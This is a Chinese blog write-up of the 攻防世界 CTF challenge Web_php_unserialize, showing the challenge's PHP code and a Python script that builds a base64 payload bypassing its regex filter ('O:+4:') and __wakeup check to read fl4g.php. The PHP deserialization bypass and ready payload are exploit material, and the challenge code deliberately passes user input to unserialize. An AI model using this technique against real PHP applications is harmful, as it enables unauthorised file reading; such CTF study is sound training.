攻防世界|Web_php_unserialize|反序列化|正则过滤绕过|private\0

image
先进行代码审计

点击查看代码
<?php 
// 定义一个名为Demo的类
class Demo { 
    // 私有成员变量$file,默认值为'index.php'
    private $file = 'index.php';
    
    // 类的构造方法,用于初始化对象
    // 接收一个参数$file,并将其赋值给成员变量$file
    public function __construct($file) { 
        $this->file = $file; 
    }
    
    // 类的析构方法,当对象被销毁时自动调用
    // 使用highlight_file函数高亮显示指定文件的内容
    // @符号用于抑制可能出现的错误信息
    // 第二个参数true表示将结果作为字符串返回而不是直接输出
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    
    // 反序列化时会自动调用的方法
    // 用于在对象被反序列化后进行一些初始化操作
    function __wakeup() { 
        // 检查成员变量$file是否不等于'index.php'
        if ($this->file != 'index.php') { 
            // 提示信息:秘密在fl4g.php中
            // 将$file重置为'index.php',试图限制文件访问
            $this->file = 'index.php'; 
        } 
    } 
}

// 检查是否通过GET方式传递了var参数
if (isset($_GET['var'])) { 
    // 对获取到的var参数进行base64解码
    $var = base64_decode($_GET['var']); 
    
    // 使用正则表达式检查解码后的内容
    // 模式'/[oc]:\d+:/i'用于匹配类似"O:数字:"或"C:数字:"的字符串
    // 这通常是对象序列化后的格式,目的是阻止简单的对象注入
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); // 如果匹配到则输出提示并终止脚本
    } else {
        @unserialize($var); // 否则尝试反序列化该字符串,@抑制错误
    } 
} else { 
    // 如果没有传递var参数,则高亮显示当前文件(index.php)的内容
    highlight_file("index.php"); 
}  
?>

image
image
image
image
image
image
image


注意,这里的base64编码必须要用python或php等其他编译软件进行,因为\0在网页班base64编码器中被识别为字符串,而在python中是空位符


python脚本:

点击查看代码
# 定义原始字符串,其中\0    \x00  \u0000表示空字节
original_str = 'O:+4:"Demo":2:{s:10:"\0Demo\0file";s:8:"fl4g.php";}'  #输入需要base64编码的字符串

# 将字符串转换为字节流(使用utf-8编码,空字节会被正确处理)
byte_data = original_str.encode('utf-8')

# 进行Base64编码
import base64
encoded = base64.b64encode(byte_data)

# 转换为字符串形式输出
print(encoded.decode('utf-8'))

得到base64编码:
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

image

posted @ 2025-08-25 20:11  Dragon_Roar  阅读(4)  评论(0)    收藏  举报